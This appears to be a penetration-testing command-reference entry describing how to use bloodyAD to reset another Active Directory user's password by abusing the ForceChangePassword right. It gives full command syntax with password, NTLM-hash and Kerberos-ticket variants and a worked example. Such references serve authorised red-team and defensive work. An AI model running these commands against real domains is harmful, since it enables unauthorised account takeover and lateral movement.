Command Manager

bloodyAD Set Password

Reset another user's password if you have ForceChangePassword (User-Force-Change-Password extended right) on them. Bread-and-butter ACL-abuse path — typically gained via BloodHound paths.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated

Tool
bloodyAD
Category
Credential Attacks / Password Manipulation
Platform
linux
Requires
password
Protocols
LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> set password <target_user> <new_password>

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

bloodyAD --host <dc-ip> -d <domain> -u <user> -p :<hash> set password <target_user> <new_password>

Kerberos Ticket requires Kerberos ticket

KRB5CCNAME=<ccache> bloodyAD --host <dc-fqdn> -d <domain> -u <user> -k set password <target_user> <new_password>

Examples

bloodyAD --host 10.10.10.10 -d corp.local -u jdoe -p 'Password123!' set password svc_sql 'NewP@ssw0rd!'

Tags

bloodyad password-reset acl-abuse force-change-password

References